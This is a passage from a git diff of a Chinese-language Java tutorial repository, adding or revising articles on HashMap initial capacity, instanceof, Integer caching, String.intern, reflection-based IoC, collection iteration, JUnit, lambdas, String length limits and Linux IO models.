+关于HashMap,很多人都对他有一些基本的了解,比如他和hashtable之间的区别、他和concurrentHashMap之间的区别等。这些都是比较常见的,关于HashMap的一些知识点和面试题,想来大家一定了熟于心了,并且在开发中也能有效的应用上。
+
+但是,作者在很多次 CodeReview 以及面试中发现,有一个比较关键的小细节经常被忽视,那就是HashMap创建的时候,要不要指定容量?如果要指定的话,多少是合适的?为什么?
+
+### 要设置HashMap的初始化容量
+
+在《[HashMap中傻傻分不清楚的那些概念][1]》中我们曾经有过以下结论:
+
+> HashMap有扩容机制,就是当达到扩容条件时会进行扩容。HashMap的扩容条件就是当HashMap中的元素个数(size)超过临界值(threshold)时就会自动扩容。在HashMap中,threshold = loadFactor * capacity。
+
+所以,如果我们没有设置初始容量大小,随着元素的不断增加,HashMap会发生多次扩容,而HashMap中的扩容机制决定了每次扩容都需要重建hash表,是非常影响性能的。
+
+所以,首先可以明确的是,我们建议开发者在创建HashMap的时候指定初始化容量。并且《阿里巴巴开发手册》中也是这么建议的:
+
+![][2]
+
+### HashMap初始化容量设置多少合适
+
+那么,既然建议我们集合初始化的时候,要指定初始值大小,那么我们创建HashMap的时候,到底指定多少合适呢?
+
+有些人会自然想到,我准备塞多少个元素我就设置成多少呗。比如我准备塞7个元素,那就new HashMap(7)。
+
+**但是,这么做不仅不对,而且以上方式创建出来的Map的容量也不是7。**
+
+因为,当我们使用HashMap(int initialCapacity)来初始化容量的时候,HashMap并不会使用我们传进来的initialCapacity直接作为初始容量。
+
+**JDK会默认帮我们计算一个相对合理的值当做初始容量。所谓合理值,其实是找到第一个比用户传入的值大的2的幂。**
+
+也就是说,当我们new HashMap(7)创建HashMap的时候,JDK会通过计算,帮我们创建一个容量为8的Map;当我们new HashMap(9)创建HashMap的时候,JDK会通过计算,帮我们创建一个容量为16的Map。
+
+**但是,这个值看似合理,实际上并不尽然。因为HashMap在根据用户传入的capacity计算得到的默认容量,并没有考虑到loadFactor这个因素,只是简单机械的计算出第一个大约这个数字的2的幂。**
+
+> loadFactor是负载因子,当HashMap中的元素个数(size)超过 threshold = loadFactor * capacity时,就会进行扩容。
+
+也就是说,如果我们设置的默认值是7,经过JDK处理之后,HashMap的容量会被设置成8,但是,这个HashMap在元素个数达到 8*0.75 = 6的时候就会进行一次扩容,这明显是我们不希望见到的。
+
+那么,到底设置成什么值比较合理呢?
+
+这里我们可以参考JDK8中putAll方法中的实现的,这个实现在guava(21.0版本)也被采用。
+
+这个值的计算方法就是:
+
+ return (int) ((float) expectedSize / 0.75F + 1.0F);
+
+
+比如我们计划向HashMap中放入7个元素的时候,我们通过expectedSize / 0.75F + 1.0F计算,7/0.75 + 1 = 10 ,10经过JDK处理之后,会被设置成16,这就大大的减少了扩容的几率。
+
+> 当HashMap内部维护的哈希表的容量达到75%时(默认情况下),会触发rehash,而rehash的过程是比较耗费时间的。所以初始化容量要设置成expectedSize/0.75 + 1的话,可以有效的减少冲突也可以减小误差。(大家结合这个公式,好好理解下这句话)
+
+**所以,我们可以认为,当我们明确知道HashMap中元素的个数的时候,把默认容量设置成expectedSize / 0.75F + 1.0F 是一个在性能上相对好的选择,但是,同时也会牺牲些内存。**
+
+这个算法在guava中有实现,开发的时候,可以直接通过Maps类创建一个HashMap:
+
+ Map map = Maps.newHashMapWithExpectedSize(7);
+
+
+其代码实现如下:
+
+ public static HashMap newHashMapWithExpectedSize(int expectedSize) {
+ return new HashMap(capacity(expectedSize));
+ }
+
+ static int capacity(int expectedSize) {
+ if (expectedSize < 3) {
+ CollectPreconditions.checkNonnegative(expectedSize, "expectedSize");
+ return expectedSize + 1;
+ } else {
+ return expectedSize < 1073741824 ? (int)((float)expectedSize / 0.75F + 1.0F) : 2147483647;
+ }
+ }
+
+
+但是,**以上的操作是一种用内存换性能的做法,真正使用的时候,要考虑到内存的影响。**但是,大多数情况下,我们还是认为内存是一种比较富裕的资源。
+
+但是话又说回来了,有些时候,我们到底要不要设置HashMap的初识值,这个值又设置成多少,真的有那么大影响吗?其实也不见得!
+
+可是,大的性能优化,不就是一个一个的优化细节堆叠出来的吗?
+
+再不济,以后你写代码的时候,使用Maps.newHashMapWithExpectedSize(7);的写法,也可以让同事和老板眼前一亮。
+
+或者哪一天你碰到一个面试官问你一些细节的时候,你也能有个印象,或者某一天你也可以拿这个出去面试问其他人~!啊哈哈哈。
+
+ [1]: http://www.hollischuang.com/archives/2416
+ [2]: http://www.hollischuang.com/wp-content/uploads/2019/12/15756974111211.jpg
diff --git a/basics/java-basic/input-stream-vs-output-stream.md b/docs/basics/java-basic/input-stream-vs-output-stream.md
similarity index 100%
rename from basics/java-basic/input-stream-vs-output-stream.md
rename to docs/basics/java-basic/input-stream-vs-output-stream.md
diff --git a/docs/basics/java-basic/instanceof-in-java.md b/docs/basics/java-basic/instanceof-in-java.md
new file mode 100644
index 00000000..5f51c3fd
--- /dev/null
+++ b/docs/basics/java-basic/instanceof-in-java.md
@@ -0,0 +1,14 @@
+instanceof 是 Java 的一个二元操作符,类似于 ==,>,< 等操作符。
+
+instanceof 是 Java 的保留关键字。它的作用是测试它左边的对象是否是它右边的类的实例,返回 boolean 的数据类型。
+
+以下实例创建了 displayObjectClass() 方法来演示 Java instanceof 关键字用法:
+
+ public static void displayObjectClass(Object o) {
+ if (o instanceof Vector)
+ System.out.println("对象是 java.util.Vector 类的实例");
+ else if (o instanceof ArrayList)
+ System.out.println("对象是 java.util.ArrayList 类的实例");
+ else
+ System.out.println("对象是 " + o.getClass() + " 类的实例");
+ }
\ No newline at end of file
diff --git a/basics/java-basic/integer-cache.md b/docs/basics/java-basic/integer-cache.md
similarity index 99%
rename from basics/java-basic/integer-cache.md
rename to docs/basics/java-basic/integer-cache.md
index 9b47ceea..66be41db 100644
--- a/basics/java-basic/integer-cache.md
+++ b/docs/basics/java-basic/integer-cache.md
@@ -27,7 +27,7 @@
}
-我们普遍认为上面的两个判断的结果都是false。虽然比较的值是相等的,但是由于比较的是对象,而对象的引用不一样,所以会认为两个if判断都是false的。在Java中,`==`比较的是对象应用,而`equals`比较的是值。所以,在这个例子中,不同的对象有不同的引用,所以在进行比较的时候都将返回false。奇怪的是,这里两个类似的if条件判断返回不同的布尔值。
+我们普遍认为上面的两个判断的结果都是false。虽然比较的值是相等的,但是由于比较的是对象,而对象的引用不一样,所以会认为两个if判断都是false的。在Java中,`==`比较的是对象引用,而`equals`比较的是值。所以,在这个例子中,不同的对象有不同的引用,所以在进行比较的时候都将返回false。奇怪的是,这里两个类似的if条件判断返回不同的布尔值。
上面这段代码真正的输出结果:
@@ -161,4 +161,4 @@ IntegerCache是Integer类中定义的一个`private static`的内部类。接下
[2]: http://www.hollischuang.com/?p=1174
[3]: http://javapapers.com/
[4]: http://www.hollischuang.com
- [5]: http://docs.oracle.com/javase/specs/jls/se8/html/jls-5.html#jls-5.1.7
\ No newline at end of file
+ [5]: http://docs.oracle.com/javase/specs/jls/se8/html/jls-5.html#jls-5.1.7
diff --git a/basics/java-basic/integer-scope.md b/docs/basics/java-basic/integer-scope.md
similarity index 91%
rename from basics/java-basic/integer-scope.md
rename to docs/basics/java-basic/integer-scope.md
index 4461d010..6fc1c9e3 100644
--- a/basics/java-basic/integer-scope.md
+++ b/docs/basics/java-basic/integer-scope.md
@@ -1,11 +1,13 @@
Java中的整型主要包含byte、short、int和long这四种,表示的数字范围也是从小到大的,之所以表示范围不同主要和他们存储数据时所占的字节数有关。
-先来个简答的科普,1字节=8位(bit)。java中的整型属于有符号数。
+先来个简单的科普,1字节=8位(bit)。java中的整型属于有符号数。
先来看计算中8bit可以表示的数字:
+
最小值:10000000 (-128)(-2^7)
+
最大值:01111111(127)(2^7-1)
-具体计算方式参考:Java中,为什么byte类型的取值范围为-128~127? - CSDN博客
+
整型的这几个类型中,
@@ -27,4 +29,4 @@ Java中的整型主要包含byte、short、int和long这四种,表示的数字
输出结果:`i (2147483647) + j (2147483647) = k (-2)`
-这就是发生了溢出,溢出的时候并不会抛异常,也没有任何提示。所以,在程序中,使用同类型的数据进行运算的时候,一定要注意数据溢出的问题。
\ No newline at end of file
+这就是发生了溢出,溢出的时候并不会抛异常,也没有任何提示。所以,在程序中,使用同类型的数据进行运算的时候,一定要注意数据溢出的问题。
diff --git a/docs/basics/java-basic/intern.md b/docs/basics/java-basic/intern.md
new file mode 100644
index 00000000..f1f667dc
--- /dev/null
+++ b/docs/basics/java-basic/intern.md
@@ -0,0 +1,13 @@
+
+在JVM中,为了减少相同的字符串的重复创建,为了达到节省内存的目的。会单独开辟一块内存,用于保存字符串常量,这个内存区域被叫做字符串常量池。
+
+
+当代码中出现双引号形式(字面量)创建字符串对象时,JVM 会先对这个字符串进行检查,如果字符串常量池中存在相同内容的字符串对象的引用,则将这个引用返回;否则,创建新的字符串对象,然后将这个引用放入字符串常量池,并返回该引用。
+
+除了以上方式之外,还有一种可以在运行期将字符串内容放置到字符串常量池的办法,那就是使用intern
+
+
+intern的功能很简单:
+
+在每次赋值的时候使用 String 的 intern 方法,如果常量池中有相同值,就会重复使用该对象,返回对象引用。
+
diff --git a/docs/basics/java-basic/ioc-implement-with-factory-and-reflection.md b/docs/basics/java-basic/ioc-implement-with-factory-and-reflection.md
new file mode 100644
index 00000000..54307131
--- /dev/null
+++ b/docs/basics/java-basic/ioc-implement-with-factory-and-reflection.md
@@ -0,0 +1,195 @@
+本文系转载,原文地址:https://blog.csdn.net/fuzhongmin05/article/details/61614873
+
+### 反射机制概念
+
+我们考虑一个场景,如果我们在程序运行时,一个对象想要检视自己所拥有的成员属性,该如何操作?再考虑另一个场景,如果我们想要在运行期获得某个类的Class信息如它的属性、构造方法、一般方法后再考虑是否创建它的对象,这种情况该怎么办呢?这就需要用到反射!
+
+我们.java文件在编译后会变成.class文件,这就像是个镜面,本身是.java,在镜中是.class,他们其实是一样的;那么同理,我们看到镜子的反射是.class,就能通过反编译,了解到.java文件的本来面目。
+
+对于反射,官方给出的概念:反射是Java语言的一个特性,它允许程序在运行时(注意不是编译的时候)来进行自我检查并且对内部的成员进行操作。例如它允许一个Java类获取它所有的成员变量和方法并且显示出来。
+
+反射主要是指程序可以访问,检测和修改它本身状态或行为的一种能力,并能根据自身行为的状态和结果,调整或修改应用所描述行为的状态和相关的语义。在Java中,只要给定类的名字,那么就可以通过反射机制来获得类的所有信息。
+
+反射是Java中一种强大的工具,能够使我们很方便的创建灵活的代码,这些代码可以在运行时装配,无需在组件之间进行源代码链接。但是反射使用不当会成本很高!类中有什么信息,利用反射机制就能可以获得什么信息,不过前提是得知道类的名字。
+
+### 反射机制的作用
+
+1、在运行时判断任意一个对象所属的类;
+
+2、在运行时获取类的对象;
+
+3、在运行时访问java对象的属性,方法,构造方法等。
+
+首先要搞清楚为什么要用反射机制?直接创建对象不就可以了吗,这就涉及到了动态与静态的概念。
+
+静态编译:在编译时确定类型,绑定对象,即通过。
+
+动态编译:运行时确定类型,绑定对象。动态编译最大限度发挥了Java的灵活性,体现了多态的应用,用以降低类之间的藕合性。
+
+### 反射机制的优缺点
+
+反射机制的优点:可以实现动态创建对象和编译,体现出很大的灵活性(特别是在J2EE的开发中它的灵活性就表现的十分明显)。通过反射机制我们可以获得类的各种内容,进行反编译。对于JAVA这种先编译再运行的语言来说,反射机制可以使代码更加灵活,更加容易实现面向对象。
+
+比如,一个大型的软件,不可能一次就把它设计得很完美,把这个程序编译后,发布了,当发现需要更新某些功能时,我们不可能要用户把以前的卸载,再重新安装新的版本,假如这样的话,这个软件肯定是没有多少人用的。采用静态的话,需要把整个程序重新编译一次才可以实现功能的更新,而采用反射机制的话,它就可以不用卸载,只需要在运行时动态地创建和编译,就可以实现该功能。
+
+反射机制的缺点:对性能有影响。使用反射基本上是一种解释操作,我们可以告诉JVM,我们希望做什么并且让它满足我们的要求。这类操作总是慢于直接执行相同的操作。
+
+### 反射与工厂模式实现IOC
+
+Spring中的IoC的实现原理就是工厂模式加反射机制。 我们首先看一下不用反射机制时的工厂模式:
+
+ interface fruit{
+ public abstract void eat();
+ }
+ class Apple implements fruit{
+ public void eat(){
+ System.out.println("Apple");
+ }
+ }
+ class Orange implements fruit{
+ public void eat(){
+ System.out.println("Orange");
+ }
+ }
+ //构造工厂类
+ //也就是说以后如果我们在添加其他的实例的时候只需要修改工厂类就行了
+ class Factory{
+ public static fruit getInstance(String fruitName){
+ fruit f=null;
+ if("Apple".equals(fruitName)){
+ f=new Apple();
+ }
+ if("Orange".equals(fruitName)){
+ f=new Orange();
+ }
+ return f;
+ }
+ }
+ class hello{
+ public static void main(String[] a){
+ fruit f=Factory.getInstance("Orange");
+ f.eat();
+ }
+ }
+
+上面写法的缺点是当我们再添加一个子类的时候,就需要修改工厂类了。如果我们添加太多的子类的时候,改动就会很多。下面用反射机制实现工厂模式:
+
+ interface fruit{
+ public abstract void eat();
+ }
+ class Apple implements fruit{
+ public void eat(){
+ System.out.println("Apple");
+ }
+ }
+ class Orange implements fruit{
+ public void eat(){
+ System.out.println("Orange");
+ }
+ }
+ class Factory{
+ public static fruit getInstance(String ClassName){
+ fruit f=null;
+ try{
+ f=(fruit)Class.forName(ClassName).newInstance();
+ }catch (Exception e) {
+ e.printStackTrace();
+ }
+ return f;
+ }
+ }
+ class hello{
+ public static void main(String[] a){
+ fruit f=Factory.getInstance("Reflect.Apple");
+ if(f!=null){
+ f.eat();
+ }
+ }
+ }
+
+
+现在就算我们添加任意多个子类的时候,工厂类都不需要修改。使用反射机制实现的工厂模式可以通过反射取得接口的实例,但是需要传入完整的包和类名。而且用户也无法知道一个接口有多少个可以使用的子类,所以我们通过属性文件的形式配置所需要的子类。
+
+下面编写使用反射机制并结合属性文件的工厂模式(即IoC)。首先创建一个fruit.properties的资源文件:
+
+ apple=Reflect.Apple
+ orange=Reflect.Orange
+
+然后编写主类代码:
+
+ interface fruit{
+ public abstract void eat();
+ }
+ class Apple implements fruit{
+ public void eat(){
+ System.out.println("Apple");
+ }
+ }
+ class Orange implements fruit{
+ public void eat(){
+ System.out.println("Orange");
+ }
+ }
+ //操作属性文件类
+ class init{
+ public static Properties getPro() throws FileNotFoundException, IOException{
+ Properties pro=new Properties();
+ File f=new File("fruit.properties");
+ if(f.exists()){
+ pro.load(new FileInputStream(f));
+ }else{
+ pro.setProperty("apple", "Reflect.Apple");
+ pro.setProperty("orange", "Reflect.Orange");
+ pro.store(new FileOutputStream(f), "FRUIT CLASS");
+ }
+ return pro;
+ }
+ }
+ class Factory{
+ public static fruit getInstance(String ClassName){
+ fruit f=null;
+ try{
+ f=(fruit)Class.forName(ClassName).newInstance();
+ }catch (Exception e) {
+ e.printStackTrace();
+ }
+ return f;
+ }
+ }
+ class hello{
+ public static void main(String[] a) throws FileNotFoundException, IOException{
+ Properties pro=init.getPro();
+ fruit f=Factory.getInstance(pro.getProperty("apple"));
+ if(f!=null){
+ f.eat();
+ }
+ }
+ }
+
+运行结果:Apple
+
+### IOC容器的技术剖析
+
+IOC中最基本的技术就是“反射(Reflection)”编程,通俗来讲就是根据给出的类名(字符串方式)来动态地生成对象,这种编程方式可以让对象在生成时才被决定到底是哪一种对象。只要是在Spring中生产的对象都要在配置文件中给出定义,目的就是提高灵活性和可维护性。
+
+目前C#、Java和PHP5等语言均支持反射,其中PHP5的技术书籍中,有时候也被翻译成“映射”。有关反射的概念和用法,大家应该都很清楚。反射的应用是很广泛的,很多的成熟的框架,比如像Java中的Hibernate、Spring框架,.Net中NHibernate、Spring.NET框架都是把”反射“作为最基本的技术手段。
+
+反射技术其实很早就出现了,但一直被忽略,没有被进一步的利用。当时的反射编程方式相对于正常的对象生成方式要慢至少得10倍。现在的反射技术经过改良优化,已经非常成熟,反射方式生成对象和通常对象生成方式,速度已经相差不大了,大约为1-2倍的差距。
+
+我们可以把IOC容器的工作模式看做是工厂模式的升华,可以把IOC容器看作是一个工厂,这个工厂里要生产的对象都在配置文件中给出定义,然后利用编程语言提供的反射机制,根据配置文件中给出的类名生成相应的对象。从实现来看,IOC是把以前在工厂方法里写死的对象生成代码,改变为由配置文件来定义,也就是把工厂和对象生成这两者独立分隔开来,目的就是提高灵活性和可维护性。
+
+
+
+### 使用IOC框架应该注意什么
+
+使用IOC框架产品能够给我们的开发过程带来很大的好处,但是也要充分认识引入IOC框架的缺点,做到心中有数,杜绝滥用框架。
+
+1)软件系统中由于引入了第三方IOC容器,生成对象的步骤变得有些复杂,本来是两者之间的事情,又凭空多出一道手续,所以,我们在刚开始使用IOC框架的时候,会感觉系统变得不太直观。所以,引入了一个全新的框架,就会增加团队成员学习和认识的培训成本,并且在以后的运行维护中,还得让新加入者具备同样的知识体系。
+
+2)由于IOC容器生成对象是通过反射方式,在运行效率上有一定的损耗。如果你要追求运行效率的话,就必须对此进行权衡。
+
+ 3)具体到IOC框架产品(比如Spring)来讲,需要进行大量的配置工作,比较繁琐,对于一些小的项目而言,客观上也可能加大一些工作成本。
+
+4)IOC框架产品本身的成熟度需要进行评估,如果引入一个不成熟的IOC框架产品,那么会影响到整个项目,所以这也是一个隐性的风险。
+
+我们大体可以得出这样的结论:一些工作量不大的项目或者产品,不太适合使用IOC框架产品。另外,如果团队成员的知识能力欠缺,对于IOC框架产品缺乏深入的理解,也不要贸然引入。最后,特别强调运行效率的项目或者产品,也不太适合引入IOC框架产品,像WEB2.0网站就是这种情况。
diff --git a/docs/basics/java-basic/iteration-of-collection.md b/docs/basics/java-basic/iteration-of-collection.md
new file mode 100644
index 00000000..4d4df9b3
--- /dev/null
+++ b/docs/basics/java-basic/iteration-of-collection.md
@@ -0,0 +1,35 @@
+Collection的迭代有很多种方式:
+
+1、通过普通for循环迭代
+
+2、通过增强for循环迭代
+
+3、使用Iterator迭代
+
+4、使用Stream迭代
+
+
+```
+List list = ImmutableList.of("Hollis", "hollischuang");
+
+// 普通for循环遍历
+for (int i = 0; i < list.size(); i++) {
+ System.out.println(list.get(i));
+}
+
+//增强for循环遍历
+for (String s : list) {
+ System.out.println(s);
+}
+
+//Iterator遍历
+Iterator it = list.iterator();
+while (it.hasNext()) {
+ System.out.println(it.next());
+}
+
+//Stream 遍历
+list.forEach(System.out::println);
+
+list.stream().forEach(System.out::println);
+```
diff --git a/docs/basics/java-basic/jms.md b/docs/basics/java-basic/jms.md
new file mode 100644
index 00000000..e69de29b
diff --git a/docs/basics/java-basic/junit.md b/docs/basics/java-basic/junit.md
new file mode 100644
index 00000000..160e327a
--- /dev/null
+++ b/docs/basics/java-basic/junit.md
@@ -0,0 +1,18 @@
+JUnit是一个Java语言的单元测试框架。它由肯特·贝克和埃里希·伽玛(Erich Gamma)建立,逐渐成为源于Kent Beck的sUnit的xUnit家族中为最成功的一个。 JUnit有它自己的JUnit扩展生态圈。
+
+JUnit 促进了“先测试后编码”的理念,强调建立测试数据的一段代码,可以先测试,然后再应用。这个方法就好比“测试一点,编码一点,测试一点,编码一点……”,增加了程序员的产量和程序的稳定性,可以减少程序员的压力和花费在排错上的时间。
+
+特点:
+
+* JUnit 是一个开放的资源框架,用于编写和运行测试。
+* 提供注释来识别测试方法。
+* 提供断言来测试预期结果。
+* 提供测试运行来运行测试。
+* JUnit 测试允许你编写代码更快,并能提高质量。
+* JUnit 优雅简洁。没那么复杂,花费时间较少。
+* JUnit 测试可以自动运行并且检查自身结果并提供即时反馈。所以也没有必要人工梳理测试结果的报告。
+* JUnit 测试可以被组织为测试套件,包含测试用例,甚至其他的测试套件。
+* JUnit 在一个条中显示进度。如果运行良好则是绿色;如果运行失败,则变成红色。 JUnit知识经常 和测试驱动开发的讨论融合在一起。可以参考Kent Beck的 《Test-Driven Development: By Example》一书(有中文版和影印版)。
+
+
+推荐一份JUnit的教程,可以帮助你快速的学习使用它:https://wiki.jikexueyuan.com/project/junit/
\ No newline at end of file
diff --git a/basics/java-basic/k-t-v-e.md b/docs/basics/java-basic/k-t-v-e.md
similarity index 100%
rename from basics/java-basic/k-t-v-e.md
rename to docs/basics/java-basic/k-t-v-e.md
diff --git a/docs/basics/java-basic/keyword-about-exception.md b/docs/basics/java-basic/keyword-about-exception.md
new file mode 100644
index 00000000..1a416304
--- /dev/null
+++ b/docs/basics/java-basic/keyword-about-exception.md
@@ -0,0 +1,11 @@
+throws、 throw、 try、 catch、 finally
+
+try⽤来指定⼀块预防所有异常的程序;
+
+catch⼦句紧跟在try块后⾯, ⽤来指定你想要捕获的异常的类型;
+
+finally为确保⼀段代码不管发⽣什么异常状况都要被执⾏;
+
+throw语句⽤来明确地抛出⼀个异常;
+
+throws⽤来声明⼀个⽅法可能抛出的各种异常;
\ No newline at end of file
diff --git a/docs/basics/java-basic/lambda.md b/docs/basics/java-basic/lambda.md
new file mode 100644
index 00000000..f1ca42a6
--- /dev/null
+++ b/docs/basics/java-basic/lambda.md
@@ -0,0 +1,58 @@
+Lambda 表达式,也可称为闭包,它是推动 Java 8 发布的最重要新特性。
+
+Lambda 允许把函数作为一个方法的参数(函数作为参数传递进方法中)。
+
+使用 Lambda 表达式可以使代码变的更加简洁紧凑。
+
+### 语法
+lambda 表达式的语法格式如下:
+```
+(parameters) -> expression
+或
+(parameters) ->{ statements; }
+
+```
+
+以下是lambda表达式的重要特征:
+
+* 可选类型声明:不需要声明参数类型,编译器可以统一识别参数值。
+* 可选的参数圆括号:一个参数无需定义圆括号,但多个参数需要定义圆括号。
+* 可选的大括号:如果主体包含了一个语句,就不需要使用大括号。
+* 可选的返回关键字:如果主体只有一个表达式返回值则编译器会自动返回值,大括号需要指定明表达式返回了一个数值。
+
+### Lambda 表达式实例
+
+```
+// 1. 不需要参数,返回值为 5
+() -> 5
+
+// 2. 接收一个参数(数字类型),返回其2倍的值
+x -> 2 * x
+
+// 3. 接受2个参数(数字),并返回他们的差值
+(x, y) -> x – y
+
+// 4. 接收2个int型整数,返回他们的和
+(int x, int y) -> x + y
+
+// 5. 接受一个 string 对象,并在控制台打印,不返回任何值(看起来像是返回void)
+(String s) -> System.out.print(s)
+
+```
+
+Lambda 表达式主要用来定义行内执行的方法类型接口,例如,一个简单方法接口。在上面例子中,我们使用各种类型的Lambda表达式来定义MathOperation接口的方法。然后我们定义了sayMessage的执行。
+
+Lambda 表达式免去了使用匿名方法的麻烦,并且给予Java简单但是强大的函数化的编程能力。
+
+### 变量作用域
+
+lambda 表达式只能引用标记了 final 的外层局部变量,这就是说不能在 lambda 内部修改定义在域外的局部变量,否则会编译错误。如以下代码,编译会出错:
+
+```
+
+String first = "";
+Comparator comparator = (first, second) -> Integer.compare(first.length(), second.length());
+
+```
+
+原文地址:https://www.runoob.com/java/java8-lambda-expressions.html
\ No newline at end of file
diff --git a/docs/basics/java-basic/length-of-string.md b/docs/basics/java-basic/length-of-string.md
new file mode 100644
index 00000000..6b9d37a3
--- /dev/null
+++ b/docs/basics/java-basic/length-of-string.md
@@ -0,0 +1,137 @@
+关于String有没有长度限制的问题,我之前单独写过一篇文章分析过,最近我又抽空回顾了一下这个问题,发现又有了一些新的认识。于是准备重新整理下这个内容。
+
+这次在之前那篇文章的基础上除了增加了一些验证过程外,还有些错误内容的修正。我这次在分析过程中会尝试对Jdk的编译过程进行debug,并且会参考一些JVM规范等全方面的介绍下这个知识点。
+
+因为这个问题涉及到Java的编译原理相关的知识,所以通过视频的方式讲解会更加容易理解一些,视频我上传到了B站:[【灵魂拷问】Java中的String到底有没有长度限制?](https://www.bilibili.com/video/BV1uK4y1t7H1/)
+
+### String的长度限制
+
+想要搞清楚这个问题,首先我们需要翻阅一下String的源码,看下其中是否有关于长度的限制或者定义。
+
+String类中有很多重载的构造函数,其中有几个是支持用户传入length来执行长度的:
+
+ public String(byte bytes[], int offset, int length)
+
+
+可以看到,这里面的参数length是使用int类型定义的,那么也就是说,String定义的时候,最大支持的长度就是int的最大范围值。
+
+根据Integer类的定义,`java.lang.Integer#MAX_VALUE`的最大值是2^31 - 1;
+
+那么,我们是不是就可以认为String能支持的最大长度就是这个值了呢?
+
+其实并不是,这个值只是在运行期,我们构造String的时候可以支持的一个最大长度,而实际上,在编译期,定义字符串的时候也是有长度限制的。
+
+如以下代码:
+
+ String s = "11111...1111";//其中有10万个字符"1"
+
+
+当我们使用如上形式定义一个字符串的时候,当我们执行javac编译时,是会抛出异常的,提示如下:
+
+ 错误: 常量字符串过长
+
+
+那么,明明String的构造函数指定的长度是可以支持2147483647(2^31 - 1)的,为什么像以上形式定义的时候无法编译呢?
+
+其实,形如`String s = "xxx";`定义String的时候,xxx被我们称之为字面量,这种字面量在编译之后会以常量的形式进入到Class常量池。
+
+那么问题就来了,因为要进入常量池,就要遵守常量池的有关规定。
+
+### 常量池限制
+
+我们知道,javac是将Java文件编译成class文件的一个命令,那么在Class文件生成过程中,就需要遵守一定的格式。
+
+根据《Java虚拟机规范》中第4.4章节常量池的定义,CONSTANT_String_info 用于表示 java.lang.String 类型的常量对象,格式如下:
+
+ CONSTANT_String_info {
+ u1 tag;
+ u2 string_index;
+ }
+
+
+其中,string_index 项的值必须是对常量池的有效索引, 常量池在该索引处的项必须是 CONSTANT_Utf8_info 结构,表示一组 Unicode 码点序列,这组 Unicode 码点序列最终会被初始化为一个 String 对象。
+
+CONSTANT_Utf8_info 结构用于表示字符串常量的值:
+
+ CONSTANT_Utf8_info {
+ u1 tag;
+ u2 length;
+ u1 bytes[length];
+ }
+
+
+其中,length则指明了 bytes[]数组的长度,其类型为u2,
+
+通过翻阅《规范》,我们可以获悉。u2表示两个字节的无符号数,那么1个字节有8位,2个字节就有16位。
+
+16位无符号数可表示的最大值位2^16 - 1 = 65535。
+
+也就是说,Class文件中常量池的格式规定了,其字符串常量的长度不能超过65535。
+
+那么,我们尝试使用以下方式定义字符串:
+
+ String s = "11111...1111";//其中有65535个字符"1"
+
+
+尝试使用javac编译,同样会得到"错误: 常量字符串过长",那么原因是什么呢?
+
+其实,这个原因在javac的代码中是可以找到的,在Gen类中有如下代码:
+
+ private void checkStringConstant(DiagnosticPosition var1, Object var2) {
+ if (this.nerrs == 0 && var2 != null && var2 instanceof String && ((String)var2).length() >= 65535) {
+ this.log.error(var1, "limit.string", new Object[0]);
+ ++this.nerrs;
+ }
+ }
+
+
+代码中可以看出,当参数类型为String,并且长度大于等于65535的时候,就会导致编译失败。
+
+这个地方大家可以尝试着debug一下javac的编译过程,也可以发现这个地方会报错。
+
+如果我们尝试以65534个字符定义字符串,则会发现可以正常编译。
+
+其实,关于这个值,在《Java虚拟机规范》也有过说明:
+
+> if the Java Virtual Machine code for a method is exactly 65535 bytes long and ends with an instruction that is 1 byte long, then that instruction cannot be protected by an exception handler. A compiler writer can work around this bug by limiting the maximum size of the generated Java Virtual Machine code for any method, instance initialization method, or static initializer (the size of any code array) to 65534 bytes
+
+### 运行期限制
+
+上面提到的这种String长度的限制是编译期的限制,也就是使用String s= “”;这种字面值方式定义的时候才会有的限制。
+
+那么。String在运行期有没有限制呢,答案是有的,就是我们前文提到的那个Integer.MAX_VALUE ,这个值约等于4G,在运行期,如果String的长度超过这个范围,就可能会抛出异常。(在jdk 1.9之前)
+
+int 是一个 32 位变量类型,取正数部分来算的话,他们最长可以有
+
+ 2^31-1 =2147483647 个 16-bit Unicodecharacter
+
+ 2147483647 * 16 = 34359738352 位
+ 34359738352 / 8 = 4294967294 (Byte)
+ 4294967294 / 1024 = 4194303.998046875 (KB)
+ 4194303.998046875 / 1024 = 4095.9999980926513671875 (MB)
+ 4095.9999980926513671875 / 1024 = 3.99999999813735485076904296875 (GB)
+
+
+有近 4G 的容量。
+
+很多人会有疑惑,编译的时候最大长度都要求小于65535了,运行期怎么会出现大于65535的情况呢。这其实很常见,如以下代码:
+
+ String s = "";
+ for (int i = 0; i <100000 ; i++) {
+ s+="i";
+ }
+
+
+得到的字符串长度就有10万,另外我之前在实际应用中遇到过这个问题。
+
+之前一次系统对接,需要传输高清图片,约定的传输方式是对方将图片转成BASE64编码,我们接收到之后再转成图片。
+
+在将BASE64编码后的内容赋值给字符串的时候就抛了异常。
+
+### 总结
+
+字符串有长度限制,在编译期,要求字符串常量池中的常量不能超过65535,并且在javac执行过程中控制了最大值为65534。
+
+在运行期,长度不能超过Int的范围,否则会抛异常。
+
+最后,这个知识点 ,我录制了视频([点击跳转](https://www.bilibili.com/video/BV1uK4y1t7H1/)) ,其中有关于如何进行实验测试、如何查阅Java规范以及如何对javac进行deubg的技巧。欢迎进一步学习。
diff --git a/basics/java-basic/linux-io.md b/docs/basics/java-basic/linux-io.md
similarity index 93%
rename from basics/java-basic/linux-io.md
rename to docs/basics/java-basic/linux-io.md
index 79fc8a6c..051973b7 100644
--- a/basics/java-basic/linux-io.md
+++ b/docs/basics/java-basic/linux-io.md
@@ -49,7 +49,7 @@ while(true){
而多路复用IO模式,通过一个线程就可以管理多个socket,只有当socket真正有读写事件发生才会占用资源来进行实际的读写操作。因此,多路复用IO比较适合连接数比较多的情况。
-另外多路复用IO为何比非阻塞IO模型的效率高是因为在非阻塞IO中,不断地询问socket状态时通过用户线程去进行的,而在多路复用IO中,轮询每个socket状态是内核在进行的,这个效率要比用户线程要高的多。
+另外多路复用IO为何比非阻塞IO模型的效率高是因为在非阻塞IO中,不断地询问socket状态是通过用户线程去进行的,而在多路复用IO中,轮询每个socket状态是内核在进行的,这个效率要比用户线程要高的多。
不过要注意的是,多路复用IO模型是通过轮询的方式来检测是否有事件到达,并且对到达的事件逐一进行响应。因此对于多路复用IO模型来说,一旦事件响应体很大,那么就会导致后续的事件迟迟得不到处理,并且会影响新的事件轮询。
@@ -60,10 +60,10 @@ while(true){
在信号驱动IO模型中,当用户线程发起一个IO请求操作,会给对应的socket注册一个信号函数,然后用户线程会继续执行,当内核数据就绪时会发送一个信号给用户线程,用户线程接收到信号之后,便在信号函数中调用IO读写操作来进行实际的IO请求操作。
### 异步IO模型
